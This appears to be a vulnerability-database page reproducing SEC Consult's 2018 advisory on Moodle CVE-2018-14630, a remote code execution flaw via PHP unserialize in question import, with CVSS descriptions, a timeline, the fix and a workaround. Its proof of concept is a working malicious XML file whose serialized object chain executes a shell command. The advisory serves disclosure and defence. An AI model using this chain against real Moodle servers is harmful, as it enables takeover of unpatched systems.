The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Moodle 3.x PHP Unserialize Remote Code Execution
SEC Consult Vulnerability Lab Security Advisory < 20180918-0 >
=======================================================================
title: Remote Code Execution via PHP unserialize
product: Moodle - Open-source learning platform
vulnerable version: 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and
earlier unsupported versions
fixed version: 3.5.2, 3.4.5, 3.3.8 and 3.1.14
CVE number: CVE-2018-14630
impact: critical
homepage: https://moodle.org/
found: 2018-07-08
by: Johannes Moritz (Office Berlin)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Moodle is a learning platform designed to provide educators, administrators
and learners with a single robust, secure and integrated system to create
personalised learning environments. Powering tens of thousands of learning
environments globally, Moodle is trusted by institutions and organisations
large and small, including Shell, London School of Economics,
State University of New York, Microsoft and the Open University. Moodleas
worldwide numbers of more than 90 million users across both academic and
enterprise level usage makes it the worldas most widely used learning platform."
Source: https://moodle.org/about
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult recommends to perform a thorough security review conducted by
security professionals to identify and resolve all security issues.
Vulnerability overview/description:
-----------------------------------
1) Remote Code Execution via PHP unserialize (CVE-2018-14630)
When importing a "drag and drop into text" (ddwtos) question in the legacy
Moodle XML format, the passed feedback answer is used unsanitized in an
unserialize() function, which leads to a PHP Object Injection vulnerability.
By providing a sophisticated PHP Object chain it is possible to leverage the
POI into a fully-blown arbitrary Remote Code Execution (RCE).
To exploit this vulnerability an attacker needs permissions to create a quiz
or at least be able to import questions. A user of the role teacher usually has
these permissions. However, students can also be assigned to the role teacher for
a specific course.
Proof of concept:
-----------------
1) Remote Code Execution via PHP unserialize (CVE-2018-14630)
In order to exploit this issue an attacker has to open Moodle's question bank
for a specific course and import the following Moodle XML file. The answer
feedback contains a sophisticated PHP object chain which only contains objects
from Moodles library. After the parsing process the command "echo `whoami`" is
being executed.
<?xml version="1.0" encoding="UTF-8"?>
<quiz>
<question type="ddwtos">
<name>
<text>question name</text>
</name>
<questiontext format="html">
<text><![CDATA[<p>How is the weather?<br></p>]]></text>
</questiontext>
<answer fraction="100">
<feedback format="html">
<text>
O:15:"\\core\\lock\\lock":2:{s:3:"key";O:23:"\\core_availability\\tree":1:{s:8:"children";O:24:"\\core\\dml\\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2:
{s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:13:"echo
`whoami`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;}
</text>
</feedback>
</answer>
</question>
</quiz>
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the most recent one at the
time of the test:
* 3.5.1+
According to the vendor, all previous versions are affected as well:
* 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and earlier unsupported versions
Vendor contact timeline:
------------------------
2018-07-08: Vulnerability identified, further analysis (credits to Robin Peraglie
from RIPS Technologies)
2018-07-09: Contacting vendor through tracker.moodle.org (issue [MDL-62880]
created)
2018-07-09: Vendor replied and supplied a fix for the vulnerability
2018-09-10: Vendor releases patched version
2018-09-18: Public release of security advisory
Solution:
---------
The vendor provides a patched version (3.5.2) which should be installed immediately:
https://download.moodle.org/releases/latest/
The vendor also provided a security advisory regarding this issue:
https://moodle.org/mod/forum/discuss.php?d=376023#p1516118
Workaround:
-----------
Disable import of ddwtos questions through XML files.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF J. Moritz / @2018
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum